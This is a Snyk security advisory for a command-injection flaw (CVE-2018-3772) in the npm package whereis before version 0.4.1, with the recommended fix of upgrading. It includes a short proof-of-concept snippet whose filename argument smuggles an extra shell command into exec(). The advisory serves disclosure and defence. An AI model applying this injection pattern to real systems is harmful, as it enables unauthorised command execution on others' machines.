Arbitrary Command Injection Affecting whereis package, versions <0.4.1


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.47% (76th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDnpm:whereis:20180401
  • published2 Apr 2018
  • disclosed1 Apr 2018
  • creditChALkeR

Introduced: 1 Apr 2018

CVE-2018-3772  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade whereis to version 0.4.1 or higher.

Overview

whereis is a tool to get the first path to a bin on any system.

Affected versions of this package are vulnerable to Arbitrary Command Injection. It concatenates unsanitized user input into exec() command

PoC by ChALkeR

var whereis = require('whereis');
var filename = 'wget; touch /tmp/tada';
whereis(filename, function(err, path) {
  console.log(path);
});

Observe file /tmp/tada created.

CVSS Scores

version 3.1